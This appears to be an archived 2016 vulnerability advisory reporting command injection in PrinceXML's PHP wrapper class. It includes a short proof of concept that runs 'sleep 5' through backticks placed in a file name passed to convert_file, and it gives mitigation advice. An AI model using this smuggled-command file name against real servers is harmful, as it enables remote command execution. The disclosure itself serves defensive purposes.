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PrinceXML Wrapper Class Command Injection

PrinceXML Wrapper Class Command Injection
Posted Jul 6, 2016
Authored by Brandon Perry

Wrapper classes provided by PrinceXML appear to suffer from command injection vulnerabilities.

tags | exploit, vulnerability
SHA-256 | af3f900b8ea8475a7548d9c557b237e3693679f81551df21a63dddf1a022c03f

PrinceXML Wrapper Class Command Injection

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While grabbing a copy PrinceXML, I noticed the company also offered some wrapper classes in various languages for using prince in server applications (web applications).

https://www.princexml.com/download/wrappers/ <https://www.princexml.com/download/wrappers/>

Taking a quick look at the PHP class, there are likely numerous command injection vulnerabilities. I was able to prove a quick PoC out. Some quick googling yielded more results that expected, so PrinceXML and PHP seem kind of popular?

<?php
ini_set('display_errors', '1');
error_reporting(-1);

require 'prince.php';

$exepath='/usr/bin/prince';
$prince= new Prince($exepath);

$prince->setHTML(TRUE);
$prince->setLog('prince.log');

$xmlPath='/Applications/MAMP/htdocs/test/new`sleep 5`html.html';

$msgs= array();
$convert=$prince->convert_file($xmlPath, $msgs);

?>

——————

Note how $xmlPath has bash ticks in it to call sleep. Passing an attacker-controlled file name to the convert_file function can result in command injection.

You can use this safely. Using the temporary file mechanisms in PHP to save the user’s file to a randomly named file on the FS, then passing this random name you can trust to convert_file would be fine. That being said, I have no idea what the common permutations of code is for the PrinceXML PHP library and haven’t looked for any more. It seems obvious there will be more vectors.

I haven’t looked at the others. If C# and Java are using the correct classes such as invoking an array of strings as the command and arguments as opposed to a straight up concatenated string, they may be safe. The Rails wrapper seems unofficial.

I also started getting really sad while working on this and had to listen to Purple Rain. RIP
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